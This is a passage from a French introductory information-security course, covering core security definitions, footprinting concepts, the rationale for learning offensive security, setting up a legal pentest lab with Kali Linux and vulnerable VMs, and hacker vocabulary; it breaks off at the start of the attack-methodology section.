Vous êtes sur la page 1sur 89

sécurité

L'essentiel de la
sécurité
informatique

Version 0.3

sec-ess

Paternité - Pas d'Utilisation Commerciale - Partage des Conditions Initiales 23/11/2014


à l'Identique : http://creativecommons.org/licenses/by-nc-sa/2.0/fr/
Légende

 Entrée du glossaire

 Abréviation

 Référence Bibliographique

 Référence générale
Table des
matières

Objectifs 5

I - Avertissement concernant la licence de ce document 7

II - Note de version 11

III - Définitions, notions et vocabulaire 13

A. Introduction à la sécurité.............................................................................13
1. Définition générale de la sécurité.......................................................................................13
2. Limites de la sécurité.......................................................................................................14
3. Particularités des systèmes d'information...........................................................................15
4. Les domaines de la SSI....................................................................................................16

B. Les enjeux de la SSI....................................................................................17


1. Points essentiels.............................................................................................................17

C. Démarche générale.....................................................................................20

D. Intelligence gathering..................................................................................21
1. Renseignement...............................................................................................................21
2. Footprinting....................................................................................................................22

IV - Sécurité offensive : savoir attaquer pour mieux se


défendre 25

A. Pourquoi appendre la sécurité offensive ?.......................................................25

B. Mise en place d'un laboratoire de pentesting...................................................26


1. Premiers pas avec Kali Linux.............................................................................................26
2. Machines vulnérables.......................................................................................................27

C. Fondamentaux............................................................................................29
1. Le vocabulaire du hacking................................................................................................29
2. Comment attaquer ? Méthodologie du cracking...................................................................30

D. Footprinting................................................................................................31
1. Internet footprinting........................................................................................................31
2. Internet Footprinting : mise en pratique.............................................................................33
3. Scanning........................................................................................................................35
4. Fingerprinting.................................................................................................................37
5. Comment contrer le footprinting ?.....................................................................................38

E. Ingénierie sociale : cracker sans ordinateur....................................................40


1. Méthodologie..................................................................................................................40
2. Quelques techniques d'ingénierie sociale............................................................................40
3. Contre-mesures..............................................................................................................41

Noël Macé (noelmace.com)


3
4. Pour aller plus loin...........................................................................................................42

F. Les principales attaques à connaître...............................................................42


1. Password cracking...........................................................................................................42
2. Rappels sur les protocoles réseaux et transport...................................................................45
3. Déni de service...............................................................................................................49
4. Attaques de l'homme du milieu.........................................................................................54
5. Injection de données dans un site web...............................................................................56

G. Challenges.................................................................................................58
1. Pour débuter..................................................................................................................58
2. Pour s'amuser.................................................................................................................59
3. Pour confirmer................................................................................................................59

V - Sécurité opérationnelle 61

A. Fondamentaux............................................................................................61
1. Introduction à la sécurité opérationnelle.............................................................................61
2. Méthodologie de l'OPSEC..................................................................................................62
3. Quelques exemples de contextes pour l'OPSEC...................................................................63
4. Cas pratique de mise en œuvre de l'OPSEC.........................................................................64

B. Confidentialité des données..........................................................................65


1. Chiffrement....................................................................................................................65
2. Persistance des données après suppression........................................................................69

C. Sécurisation des échanges...........................................................................72


1. IPsec.............................................................................................................................72
2. VPN...............................................................................................................................75
3. SSL/TLS.........................................................................................................................77
4. SSH..............................................................................................................................78
5. Mix Networking...............................................................................................................82

VI - Sécurité défensive 85

A. Architectures et solutions pour la sécurité des réseaux.....................................85


1. Réseaux privés et translation d'adresses............................................................................85
2. Zone démilitarisée...........................................................................................................87
3. Proxy.............................................................................................................................88
4. Firewalling......................................................................................................................91
5. Conception d'une architecture réseaux pour la sécurité........................................................92

B. Supervision : anticiper, détecter et résoudre les incidents.................................93


1. Veille technologique.........................................................................................................93
2. Détection d'intrusions et de vulnérabilités...........................................................................94

Solution des exercices 97

Crédit des ressources 99

Noël Macé (noelmace.com)


4
Objectifs

L'objectif de ce cours est de vous présenter un rapide tour d’horizon


de la sécurité des systèmes d'information. Il ne se veut ni exhaustif,
ni complet, et n'a pour but que de vous donner un aperçu le plus
large possible de la sécurité informatique, sujet vaste et complexe si
il en est, et ainsi de vous donner les bases nécessaires à un
approfondissement futur, ou au moins à la compréhension des enjeux
de ce domaines.
Il consiste en une rapide introduction du vocabulaire et des notions
fondamentales, puis se compose en trois parties :
 sécurité offensive : où nous ferrons un tour d’horizon de
différentes menaces pouvant être rencontrées, et des
méthodologies mises en œuvres
 sécurité opérationnelle : où nous verrons comment se
prémunir contre la fuite d'informations sensibles
 sécurité défensive : où nous verrons, enfin, la méthodologie et
les techniques mises en place pour se prémunir des différents
risques
Pré-requis : notions fondamentales d'informatique (réseau, systèmes
d'exploitation, langages, etc ...)
Durée : une semaine (35h environs)

Noël Macé (noelmace.com)


5
Avertissement
I-

I
concernant la
licence de ce
document

Attention : A l'attention du lecteur


Si vous utilisez ou voyez présenté ce document contre contrepartie financière,
ou dans le cadre d'un événement (conférence ou formation) ayant donné lieu à
contrepartie financière, ceci a sans doute été fait de manière illégale. Merci donc
de le signaler immédiatement à l'auteur, Noël Macé, par mail : contact (at)
noelmace.com.

Ce document, ainsi que, sauf mention contraire, tous ceux contenus dans celui-ci,
sont placés sous licence creative common BY-NC-SA1.

Attention
Tout usage de ce document (présentation, publication, reproduction, travail
dérivé ...) amenant, directement ou indirectement, à une contrepartie financière,
est strictement interdit par cette license . Tout contrevenant (physique ou moral)
sans autorisation préalable écrite et explicite de l'auteur, Noël Macé, s'expose à des
poursuites judiciaires.

1 - https://creativecommons.org/licenses/by-nc-sa/2.0/fr/

Noël Macé (noelmace.com)


7
Note de version
II -

II

Version 0.2
Après une refonte pour donner une orientation plus "pratique" de ce cours, cette
version reste incomplète, et nécessite encore l'ajout des points suivants :
 malwares
 sécurité système
 authentification (LDAP, pam, double authentification, stockage des mots de
passe, etc ...)
Vous trouverez plus d'information concernant le version de mes supports sur mon
site personnel : http://www.noelmace.com2
Pour suivre l'avancement de plusieurs de mes supports (et pourquoi pas, participer
à leur amélioration), je vous invite à vous rendre sur le dépôt Github dédié :
https://github.com/noelmace/Scenari_course_materials3
Enfin, pour me communiquer la moindre remarque, merci de me contacter par
mail : contact (at) noelmace.com

2 - http://www.noelmace.com
3 - https://github.com/noelmace/Scenari_course_materials

Noël Macé (noelmace.com)


9
Définitions,
III -

III
notions et
vocabulaire

Introduction à la sécurité 13
Les enjeux de la SSI 17
Démarche générale 20
Intelligence gathering 21

A. Introduction à la sécurité

1. Définition générale de la sécurité

Définition : Sécurité
« Confiance, tranquillité d'esprit qui résulte de l'opinion, bien ou mal fondée, qu'on
n'a pas à craindre de danger. » - Wikitionnaire4

La sécurité, au sens général du terme, consiste donc à se "protéger du danger". Il


existe bien des domaine d'application de la sécurité : sécurité des personnes,
sécurité nationale, internationale ou civile, sécurité juridique, économique,
alimentaire, des transports, etc ... Tous ont ce point commun le "sentiment de
sécurité", par définition subjectif, toute sécurité ne pouvant jamais être
absolue.

Sécuriser un système, c'est avant tout définir un "cadre d'utilisation" prévu, c'est
à dire définir ce qui pourra (devra) ou ne pourra pas être fais, et mettre en
place les solutions pour appliquer cette politique.
« La sécurité informatique consiste à garantir que les ressources matérielles ou
logicielles d'une organisation sont uniquement utilisées dans le cadre prévu » - JF
Pillou

4 - https://fr.wiktionary.org/wiki/s%C3%A9curit%C3%A9

Noël Macé (noelmace.com)


11
Définitions, notions et vocabulaire

2. Limites de la sécurité

Sécurité et liberté
« Un peuple prêt à sacrifier un peu de liberté pour un peu de sécurité ne mérite ni
l'une ni l'autre, et finit par perdre les deux. » - Benjamin Franklin

Quelque soit le domaine d'application, la sécurité est toujours à opposer à la liberté,


dans leurs définitions première. En effet, la politique de sécurité établi les
comportements acceptables ou non pour prémunir du danger, et définie donc des
comportements "interdits". Bien entendu, certaines libertés n'ont plus de sens dans
le cadre d'une politique de sécurité (la liberté de chacun de s'endormir sur une voie
ferrée n'a pas de mesure face au danger encouru). Cependant, un responsable en
sécurité doit toujours garder à l'esprit les libertés de l'usager, et éviter tout
comportement excessif, alors perçu comme une entrave abusive.

Exemple : Vie privée


Une politique de sécurité établissant le traçage de toutes les activités de chaque
employé au sain d'une entreprise, bien que permettant une garantie
supplémentaire de sécurité, serait vite perçue comme excessive, et contournée.

Acceptation et éducation
Conséquence direct du point précédent, une politique de sécurité se doit d'être
comprise et acceptée. Sans cela, tout usager peu alors sortir des comportements
prévus, volontairement ou non, et ainsi compromettre la sécurité du système.

3. Particularités des systèmes d'information

Définition : Systèmes d'information


« Ensemble organisé de ressources (matériels, logiciels, personnel, données et
procédures) qui permet de collecter, regrouper, classifier, traiter et diffuser de
l'information dans un environnement donné » - De Courcy R.

Les NTIC
Aujourd'hui, quand nous parlons de "systèmes d'information", nous pensons bien
entendu avant tout aux Nouvelle Technologies de l'Information et de la
Communication, c'est à dire, pour faire simple, l'informatique. Il faut cependant
garder à l'esprit, surtout quand nous parlons de sécurité, que l'informatique n'est
toujours que l'un des aspects de la communication. En effet, la parole, le courrier,
et bien d'autres solutions demeurent des systèmes d'information, par lesquels la
confidentialité de vos donné peu être corrompu.

Sécurité des systèmes d'information


La SSI consiste donc à protéger les informations manipulées informatiquement
(mais pas seulement). Gardez toujours à l'esprit que la "sécurité informatique" ne
consiste jamais à protéger notre système, mais ce à quoi ce système donne accès,
c'est à dire de l'information et des outils. Protéger le système informatique ne
peu être une fin en soit !

Noël Macé (noelmace.com)


12
Définitions, notions et vocabulaire

4. Les domaines de la SSI

Sécurité offensive
La sécurité offensive, comme son nom l'indique, consiste à "attaquer". Même si de
nombreuses personnes apprennent ces méthodes (généralement de manière
autodidacte) dans un but peu louable, nous enseignons généralement ces
techniques soit dans le cadre de l'ethical hacking, permettant de déterminer les
failles d'un système de manière légale grâce aux techniques offensives, soit dans le
cadre d'un préalable indispensable à la sécurité défensive ("connaitre ses ennemis
pour mieux se défendre").

Sécurité opérationnelle
La sécurité opérationnelle (ou OPSEC) consiste à la mise en œuvre de techniques,
comportement et méthode permettant la protection des informations privées. Il
s'agit bien entendu de connaître certaines méthodes de la sécurité défensive
(comme la cryptographie), mais aussi et surtout de modifier les comportements
pour garantir la sécurité des personnes et des informations. Un très bon exemple
de contexte dans lequel la sécurité opérationnelle est primordiale est le
journalisme, particulièrement dans le cadre de la protection des sources.

Sécurité défensive
Enfin, la sécurité défensive est la conséquence logique de la sécurité offensive. Là
où il y a attaque, il doit nécessairement y avoir défense. La sécurité défensive se
doit donc d'évaluer et quantifier les risques éventuels, de déterminer les failles à
leur origine, et de déterminer en conséquence une politique de sécurité permettant
de s'en prémunir.

Remarque : A propos de la taxinomie de la SSI


Il existe encore d'autres terminologies, désignant chacune un autre domaine de la
sécurité des systèmes d'information plus ou moins spécifique : COMSEC
(communication security), TRANSEC (transmission security, sous ensemble de la
COMSEC), etc ... Chacune représente une approche et des méthodologies propres.
Il serait cependant illusoire de vouloir systématiquement classer chaque technique
dans l'un ou l'autre de ces domaines, la plupart étant transverses. La
cryptographie, technologie mais aussi domaine en soit, contribue par exemple à
tout les domaines que nous avons évoqué ici.

B. Les enjeux de la SSI

Les enjeux de la SSI consiste en 3 points essentiels :


 intégrité
 confidentialité
 disponibilité
A ces 3 points essentiels doivent être ajoutés deux points complémentaires, le plus
souvent simples outils pour la réalisation des points précédents, mais parfois
considérés comme des buts en soit (essentiellement pour des questions
juridiques) :
 non-répudiation et imputation
 authentification

Noël Macé (noelmace.com)


13
Définitions, notions et vocabulaire

1. Points essentiels

Définition : Intégrité (des données)


Garantie qu'une information / donnée est bien celle attendu, et n'a donc pas été
modifiée, de manière fortuite ou intentionnelle.

Définition : Confidentialité
« Fait de réserver des informations à un petit nombre de personnes déterminées. »
- Wikitionnaire5

En d'autres termes : Seul un groupe déterminé de personne doit avoir accès à une
donnée. La politique de confidentialité consistera donc à établir qui doit accéder à
quoi.

Complément : OPSEC
La OPSEC (sécurité opérationnelle) est un cas particulier de la confidentialité, en ce
qu'elle définie la politique à établir pour garantir le secret et la non-traçabilité
des échanges d'informations d'une personne ou d'un groupe, comme, par exemple,
dans le cadre de la protection des sources journalistiques ou celui de la vie privée.

Définition : Disponibilité
Garantie du bon fonctionnement et du temps de réponse d'un système /
service.

La disponibilité est définie dans une plage de temps, pour des utilisateurs donnés,
et dans des conditions d'utilisations données.
On parle souvent de "taux de disponibilité", pourcentage du temps ou le service
est en moyenne disponible.

a) Points complémentaires

Définition : non-répudiation
Garantie qu'un utilisateur ne puisse contester les opérations qu'il a réalisées dans le
cadre de ses actions autorisées.

Définition : Imputation
Complémentaire à la non-répudation, l'imputation est la garantie qu'un aucun tiers
ne puisse s'attribuer les actions d'un autre utilisateur.

Définition : Authentification
« Vérification de l'identité d'une entité (personne, ordinateur...), afin d'autoriser
l'accès de cette entité à des ressources (systèmes, réseaux, applications...) » -
Wikitionnaire6

L'authentification est donc bien entendu un préalable indispensable à la


confidentialité, l'imputation et la non-répudiation.

5 - https://fr.wiktionary.org/wiki/confidentialit%C3%A9
6 - https://fr.wiktionary.org/wiki/authentification

Noël Macé (noelmace.com)


14
Définitions, notions et vocabulaire

C. Démarche générale
Mettre en place une politique de sécurité se réalise en 3 étapes :
1. évaluation des risques
2. recherche et choix de parades
3. mise en œuvre des protections

Évaluer les risques


Comme la sécurité n'est jamais une fin en soit, il est primordial de déterminer
pourquoi elle doit être mise en place. Cela passe bien entendu par l'évaluation des
risques, dont la politique de sécurité doit nous prémunir. Ces risques peuvent être
de plusieurs sortes :
 atteinte à la vie privée et à la sécurité des personnes ou des outils
- divulgation de sources
- informations de localisation, accès, etc ...
- informations médicales, fiscales, etc ...
 pertes financières
- par dommages directs, nécessitant la reconstitution / réparation des
données et outils compromis
- ou par dommages indirects : dédommagement, indisponibilité d'un outil
clé (comme un service de gestion de commande), etc ...
 atteinte à l'image de marque
- directe, par la divulgation d'une faille de sécurité, supposant d'un
manque de travail ou de fiabilité
- ou indirecte (perte de confiance, désinformation, defacing, etc ...)

Recherche et choix de parades


La recherche et le choix de parades consiste à déterminer, en fonction des risques
évalués, les parades adéquates. Cela passe bien entendu par une évaluation de leur
coût en temps, finances et moyens. Se prémunir d'un risque par une solution
dont la mise en place devrait avoir un coût supérieur que le risque lui
même est inutile !

Mise en œuvre des protections


Suivant directement la phase d'analyse, la mise en œuvre se doit d'être
perpétuellement testée. Elle peu également nécessiter de reprendre une analyse
partielle sur quelques points particuliers, sans devoir cependant remettre
totalement en cause les conclusions de l'analyse préalables. C'est ce qu'on appel un
cycle semi-itératif, qui ne sera cependant pas adaptés aux très grandes structures.

D. Intelligence gathering

L'intelligence gathering est la procédure permettant de collecter des informations,


sur une cible pour un attaquant (on parle alors de footprinting), ou sur un contexte,
des attaquants potentiels, des concurrents (on parle alors de renseignement). Les
technique de l'intelligence gathering peuvent servir aussi bien pour l'attaque, afin
de récolter un maximum d'informations sur une cible potentielle et ainsi d'en
déterminer les failles, que la défense, afin d'anticiper au mieux les attaques et les
failles potentielles de notre système.

Noël Macé (noelmace.com)


15
Définitions, notions et vocabulaire

1. Renseignement

Définition : Renseignement
« Information délivrée pour guider des prises de décisions et des actions. » -
Wikipedia7
Peu désigner, par extension, un service de renseignement, service permettant de
collecter ces informations.

Renseignement civil et militaire


Le renseignement militaire est sans doute le premier système de renseignement
venant à votre esprit. Et pour cause : du fait des enjeux, de sa dimension et des
moyens mis en œuvre, le renseignement militaire est bien le système de
renseignement par excellence. De nombreux outils sont mis en place, autour d'une
méthodologie rigoureuse, le plus connu puisque le plus "romanesque" étant bien
entendu l'espionnage. Aujourd'hui, les méthodes du renseignement militaire
s'étendent à de nombreux autres domaines. Ses méthodologies et outils sont
aujourd'hui aussi bien repris dans le privé que dans d'autres domaines publiques.
On parle alors de renseignement civil, qui couvre aussi bien le renseignement
économique, financier, commercial, industriel voir scientifique.

Affaire Snowden : mise en évidence de nouveaux enjeux


Avec les révélation de Edward Snowden du 6 juin 2013, ont été mis en évidence
plusieurs points :
 la généralisation des méthodes du renseignement militaire à un
renseignement civil de grande ampleur
 l'importance croissante de l'information dans notre société
 l'importance des moyens mis en œuvre pour collecter ces information, sans
nulle autre pareil dans l'histoire
En effet, même si ces informations étaient dors et déjà connues du milieu de la
sécurité informatique, les informations alors délivrées permirent non seulement
d'en démontrer la teneur et la réalité au grand public, mais également de la
quantifier plus exactement, au delà de tout ce qui avait alors été envisagé.
Sans toutefois rentrer dans les détails et rebondissements récents de cette affaire,
nous pouvons dés le départ constater :
 un notable regain d’intérêt pour la sécurité opérationnelle , aussi bien de la
part du grand public que des pouvoirs publiques et économiques. Des
techniques qui semblaient encore hier excessives pour beaucoup, sont
aujourd'hui perçues comme nécessaires et généralisables.
 ainsi qu'un égal regain d’intérêt (et hausse de moyens) pour le
renseignement en général, et particulièrement le contre-espionnage.

2. Footprinting

Définition : Footprinting
« Technique consistant à récolter de l'information sur des systèmes informatiques
et toutes les entités auxquelles ils sont rattachés. » - Wikipedia8

7 - https://fr.wikipedia.org/wiki/Renseignement
8 - https://fr.wikipedia.org/wiki/Footprinting

Noël Macé (noelmace.com)


16
Définitions, notions et vocabulaire

Le footpriting est la partie "offensive" de l'intelligence gathering. Elle consiste en


une mise en œuvre des techniques pratiques du renseignement dans le cadre de la
prévision d'une attaque ciblée sur un objectif particulier, afin de déterminer au
mieux les failles éventuelles de l'objectif, et les méthodes à mettre en œuvre. Ces
techniques sont bien entendu aussi diverses que les informations à récolter.

Non intrusivité
Au contraire de nombreuses techniques de renseignement, le footprinting se
caractérise par un aspect non intrusif. Il est en effet primordial pour l'attaquant,
lors de cette étape souvent longue et fastidieuse, de ne laisser transparaître aucune
information à la cible sur sa volonté d'attaque. Étant donné qu'il s'agit d'une
première étape dans la sécurité offensive, l'attaquant ne peu alors que supposer
des techniques mises en œuvre par la cible pour détecter les éventuelles intrusions
et attaques. Se lancer dans des techniques intrusives (injection SQL, cracking de
mot de passe, etc ...) serait alors très dangereux. Celles-ci seront donc réservées à
une seconde étape, après le footprinting.

Techniques de footprinting
Le footprinting s’intéresse donc à une très grande variété d'informations,
accessibles via différentes méthodes :
 Internet footprinting
 scanning
 fingerprinting
 espionnage
 social engeneering (qui n'est par ailleurs pas restreint au seul footprinting)
 énumération

Noël Macé (noelmace.com)


17
Sécurité
IV -

IV
offensive

Pourquoi appendre la sécurité offensive ? 25


Mise en place d'un laboratoire de pentesting 26
Fondamentaux 29
Footprinting 31
Ingénierie sociale : cracker sans ordinateur 40
Les principales attaques à connaître 42
Challenges 58

Nous n'allons pas chercher à couvrir ici toutes les connaissances nécessaires à une
maîtrise de la sécurité offensive. Le but ici sera donc plutôt de vous donner un tour
d’horizon rapide de différentes méthodes mises en œuvre par un attaquant pour
réaliser son attaque. Pour illustrer ce chapitre, quelques utilitaires et scripts simples
vous seront présentés, afin de vous donner un aperçu plus concert des attaques
possibles. Garder cependant bien à l'esprit que cela n'est l'apanage que des scripts
kiddies, et ne saurait vous donner une vision complète de la sécurité offensive.

A. Pourquoi appendre la sécurité offensive ?

A prime abord, si on vous parle de sécurité, il est fort probable que la première
chose qui vous vienne à l'esprit soit un anti-virus ou un firewall. En toute logique,
quand on parle de sécurité, la plupart d'entre nous penserons avant tout en terme
de défense, et non d'attaque. Pourtant, comment se défendre correctement, quand
on ne connaît rien des dangers que nous serons susceptibles d'affronter ? Comment
se prémunir d'une attaque sans rien en connaître ?
Apprendre la sécurité offensive est bien une question de "défense", et non
l’apanage de certains hackers simplement à la recherche de nouveaux horizons.

« Connais ton ennemi et connais-toi toi-même ; eussiez-vous cent guerres à


soutenir, cent fois vous serez victorieux. » - Sun Tzu, l'art de la guerre, article 39

Attention : Légalité de la sécurité offensive


Est-il nécessaire de rappeler que la quasi totalité des techniques de sécurité
9 - http://fr.wikisource.org/wiki/L
%E2%80%99Art_de_la_guerre#Article_III_Des_propositions_de_la_victoire_et_de_la_d.C3.A9faite

Noël Macé (noelmace.com)


19
Sécurité offensive : savoir attaquer pour mieux se défendre

offensive son illégales si pratiquées sur le matériel d'une autre personne sans en
avoir obtenu son autorisation au préalable ? ! Le but ne sera donc pas ici de vous
pousser à toute activité illégale, mais de vous familiariser avec les méthodes et
certaines techniques de l'attaque, afin de mieux vous en prévenir, ou de vous servir
d'introduction à "l'ethical hacking".

B. Mise en place d'un laboratoire de pentesting

Objectifs
Dans cette partie, nous allons nous atteler à mettre en
place notre laboratoire de pen-testing, afin de mettre en
pratique les différents points abordés dans la suite de ce
cours en toute sécurité (et bien entendu en toute
légalité).

Pour effectuer vos exercices, vous aurez donc besoin de deux éléments :
 une machine pour effectuer vos reconnaissances et attaques
 et une (ou plusieurs) machines cibles, à étudier, pénétrer et exploiter.

1. Premiers pas avec Kali Linux

a) Introduction
Regroupant un très grand nombre d'outils nécessaires aux tests de sécurité
informatique, Kali Linux va ici nous permettre de disposer de ces outils simplement,
à partir d'un point unique, tout en isolant nos opérations du système vous
permettant votre travail de tout les jours. Disponible sous forme de live-cd, cette
distribution GNU/Linux est basée sur Debian. Peu de connaissances en
administration système Unix sont requises, puisque nous allons à chaque étape
détailler les opérations à réaliser.

Remarque : Backtrack, vous connaissez ?


Pour ceux n'ayant jamais entendu parler de Kali Linux, je vous rassure, il n'y rien
d'étonnant à cela. En effet, peut-être avez vous plutôt entendu parler de Backtrack,
la référence des distrubtions GNU/Linux en matière de pentesting. Eh bien rassurer
vous : Kali Linux et Backtrack ne forment qu'un ! En effet, la version 6 de Bactrack
ayant apporter quelques changements majeurs (notamment le passage à une base
Debian plutôt qu'Ubuntu et le support des architectures ARM), celle-ci a tout
simplement changé de nom (et par la même occasion, de numéro de version),
devenant Kali Linux 1.0.

b) Récupérer le Live-cd
Télécharger
Pour télécharger Kali Linux, rendez vous sur le site officiel10, et récupérez l'image

10 - https://www.kali.org/downloads/

Noël Macé (noelmace.com)


20
Sécurité offensive : savoir attaquer pour mieux se défendre

iso adaptée à votre architecture (x86 ou x64).

Vérifier l'intégrité du téléchargement


Nous sommes dans un cours de sécurité, donc autant prendre directement les
bonnes habitudes. Vérifiez donc dés la fin du téléchargement l'intégrité du fichier
iso, en suivant les instructions du site. Si vous n'êtes pas sur un système
GNU/Linux, vous pouvez tout de même utiliser GnuPG, comme nous le verrons plus
loin. Pour cela, téléchargez pour Windows Gpg4win11 ou, pour Mac OS X, Mac
GPG12.

c) Utiliser le Live-cd
Plusieurs solutions
Pour utiliser ce Live-cd, plusieurs solutions s'offrent à vous :
 graver le fichier ISO sur un DVD, et démarrer à partir de celui-ci
 l'installer sur une clé USB (vous trouverez les instructions13 sur la
documentation officielle)
 utiliser une machine virtuelle

Avec VirtualBox
Pour aller au plus rapide, vous pouvez utiliser VirtualBox (téléchargeable ici) pour
créer une machine virtuelle Kali Linux. Créez une nouvelle machine virtuelle 14, en
spécifiant le fichier ISO précédemment téléchargé. Démarrez le machine : voila,
votre VM est prête. Mais pour véritablement profiter des avantages de la
virtualisation, je vous recommande vivement d'installer également les "extensions
invité" et de mettre en place un dossier partagé avec le système hôte. Pour ce faire,
vous retrouvez les instructions détaillées15 sur la doc.

2. Machines vulnérables

Pour pouvoir pratiquer le pentesting en toute légalité, une seule solution :


construire son propre parc de machines vulnérables à attaquer. Bien entendu, toute
la difficulté ici provient du fait que nous ne devons, à priori, disposer que d'un
minimum d'information sur ces machines, ce qui serait bien difficile à accomplir en
les installant et configurant nous même. Bien entendu, vous pouvez du coup faire
appel à vos connaissances pour qu'elles réalisent cela, mais tout le monde ne
dispose pas sous la main d'un administrateur système et réseaux avec de bonnes
compétences en sécurité et prêt à offrir de son temps pour créer de nouveau jouets
dont il n'aura au final aucun usage.
Heureusement, Internet regorge de ce genre de personnes, et vous pourrez donc y
trouver diverses machines prêtes à l'emploi, parfois même livrées directement avec
tutoriaux et challenges. En voici une petite sélection.

Attention
Ne laissez jamais une de ces machines exposée sur un réseau n'ayant pas toute
votre confiance. Étant donné que le principe de base de celles-ci est d'être
(grandement) vulnérables, elles constitueraient un point d'entrée facile.

11 - http://gpg4win.org/
12 - http://gpgtools.org/
13 - http://fr.docs.kali.org/installation-fr/kali-linux-sur-usb
14 - https://docs.oracle.com/cd/E26217_01/E35193/html/qs-create-vm.html
15 - http://docs.kali.org/general-use/kali-linux-virtual-box-guest

Noël Macé (noelmace.com)


21
Sécurité offensive : savoir attaquer pour mieux se défendre

Metasploitable
A l'origine destinée à être utilisée dans le cadre d'un apprentissage de l'outil
Metasploit, cette machine virtuelle permet de mettre en pratique un très grand
nombre de techniques de pentesting, étant donné les très larges possibilités du
logiciel en question.
Pour le télécharger, rendez-vous sur la page sourceforge16 du projet.

OWASP Broken Web Applications Project


L'Open Web Application Security Project, association à but non lucratif mondiale
ayant pour but l'amélioration de la sécurité des applications web, nous délivre ici
une machine avec plusieurs applications web vulnérables, afin d'aider les
apprenants et testeurs. Pour en savoir plus et télécharger la dernière version de la
machine, rendez-vous sur le site du projet17.

LAMPSecurity Training
Dans un tout autre genre, ce projet offre non pas une machine virtuelle, mais
plusieurs, chacune associée à une documentation complète (et la plupart de temps
pas-à-pas) afin de détailler les différentes méthodes d'attaque possible. Une
ressource parfaite pour un approfondissement de vos connaissances suites à ce
cours donc. Pour télécharger la machine de votre choix, rendez vous, encore une
fois, sur la page sourceforge du projet18.

Complément : Créer un laboratoire virtuel complet


Une machine c'est bien, mais tout un parc, c'est mieux. Vous aurez sans doute
rapidement besoin, pour vos tests, d'aller plus loin que les exemples précédents, et
donc de vous constituer un réseau complet, avec routeurs, switchs, serveurs,
machines clientes, etc ... Pour ce faire, la meilleure solution peu être bien entendu
d'acheter tout le matériel nécessaire et de rassembler tout ça dans votre placard à
grand coups de câbles, mais cela risque d'être quelqu peu couteux, et encombrant
(pas très pratique si vous voulez vous entraîner en déplacement). Le mieux serait
donc d'utiliser un logicil d'émulation et virtualisation de réseaux. Dans ce domaine,
je vous recommande l'excellent GNS319 (Graphical Network Simulator). Pour faire
vos premiers pas, je vous encourage à commencer par le "quick start", puis à
approfondir avec le reste de la documentation. Enfin, pour ceux d'entre vous
allergiques à l'anglais ou souhaitant quelques exemples de réseaux à mettre en
place, vous pouvez consulter aides mémoires et exemples20 de Stéphane Maas.

16 - http://sourceforge.net/projects/metasploitable
17 - https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
18 - http://sourceforge.net/projects/lampsecurity
19 - http://www.gns3.com/
20 - http://www.smnet.fr/gns3/gns3-install-intro.html

Noël Macé (noelmace.com)


22
Sécurité offensive : savoir attaquer pour mieux se défendre

C. Fondamentaux

1. Le vocabulaire du hacking
a) Défaire les idées préconçues
Qu'est ce qu'un "hacker" ?
Tout d'abord, pour bien comprendre les enjeux du hacking, il est bien entendu
nécessaire de bien savoir de quoi on parle. Souvent présenté comme synonyme de
"pirate informatique", donc, par extension, d'une personne malveillante désireuse
d'exploiter les failles d'un système pour son intérêt personnel, le terme "hacker" a
été largement détourné de sa véritable définition. En effet, ce terme vient à
l'origine de l'anglais "to hack", que l'on pourrait traduire par bidouiller, modifier,
bricoler. "Hacker" consiste donc à détourner un objet de son sens premier, afin de
mieux l'étudier, voir d'arriver à un résultat meilleur, nouveau ou surprenant. Le
"hacking" n'est donc pas seulement informatique, mais s'applique également à la
cuisine (comme peu en attester Thierry Marx, ou encore l'excellent "Cooking for
Geeks - Real Science, Great Hacks, and Good Food" de Jeff Potter), le bricolage et
la conception d'objets matériels (dont on retrouve l'esprit dans les Fab Lab et le
mouvement DIY), ou encore l'art (comme par exemple la musique, avec
Slagsmålsklubben, Kraftwerk ou Nine Inch Nails). Les Hack Labs (ou Hackers
Spaces), lieux où se retrouvent différents hackers de tous ces domaines, sont
aujourd'hui nombreux, y compris en France. Vous pouvez d'ailleurs en retrouver
une carte ici21. Nous utiliserons donc dans ce cours, plutôt que le terme "hacker", le
terme "cracker" pour désigner une personne désireuse de "casser" ou contourner
une sécurité informatique sans autorisation, conformément à la RFC 198322.

Bon ou mauvais hacker ?


On parle souvent de white hat, grey hat ou black hat. Tandis que le premier est un
cracker "éthique" (on parle parfois de "Ethical Hacking"), le "black hat" est un
cracker mal-intentionné, agissant dans son unique intérêt, souvent dans un but
financier.

Cadre légal
Il est bien entendu possible de réaliser du "hacking" dans un cadre légal, même si
cela est de plus en plus difficile. Nombreux sont les experts recrutés par une société
pour réaliser des "tests d'intrusion" sur leur propre système, afin d'auditer le
système mise en place et de mettre en évidence les failles subsistantes. Une autre
possibilité est bien entendu de réaliser ces opérations sur son propre système. En
dehors de cela, le cadre légal est aujourd'hui très strict, toute pénétration non
autorisée dans un système étant illégal dans la plupart des pays, même si celle ci
n'aura engendré aucun dégât ou vole d'information.

b) Les différents types d'attaquant


White hat
Le white hat est celui agissant donc dans un cadre "éthique", légal ou non. Il ne
créera jamais aucun dégât, direct ou indirect, sur le système, et ne divulguera
jamais de données sensibles.

21 - http://hackerspaces.org/wiki/List_of_Hacker_Spaces
22 - https://tools.ietf.org/html/rfc1983

Noël Macé (noelmace.com)


23
Sécurité offensive : savoir attaquer pour mieux se défendre

Black hat
Le back hat est l'attaquant mal-intentionné. On le distinguera du white hat par le
fait qu'il ne soucie jamais des pertes et dégâts engendrés par son travail. Il est
donc susceptible de réaliser de l'usurpation d’identité, du traffic d'informations
confidentielles, du vol de données bancaires, ou des dégâts intentionnels pour
discrédité une société, souvent contre rémunération.

Grey hat
Le grey hat se situe à mi chemin entre le black et le white hat. Agissant dans un
cadre qu'il considère lui même comme éthique, il est cependant susceptible de
réaliser des dégâts substantiels. C'est souvent le cas des "hacktivistes". On peu
également parfois parler de grey hat pour qualifier une personne agissant tanto en
white hat, tanto en black hat.

Hacktivistes
Hacktiviste est un mot valise, composé de "hack" et "activisme", désignant un
cracker agissant dans un objectif politique ou idéologique.

Script kiddie / lamer


Un script kiddie est un cracker peu expérimenté, utilisant le plus souvent des outils
développé par les autres. Ils représentent cependant une menace réelle pour la
sécurité de votre système.

2. Comment attaquer ? Méthodologie du cracking.

Des étapes clés


Lors d'une attaque, une suite d'étapes clés est à remplir pour avoir une chance
d'obtenir le résultat escompté (pénétration, vol de données, etc ...). Bien entendu,
le cracking n'est pas vraiment une "discipline" en soit (hormis peut être pour le
ethical hacking), et il n'y existe pas de règle établie, que tout attaquant respectera.
Les phases de ces attaques sont cependant toujours les mêmes, ou presques ...
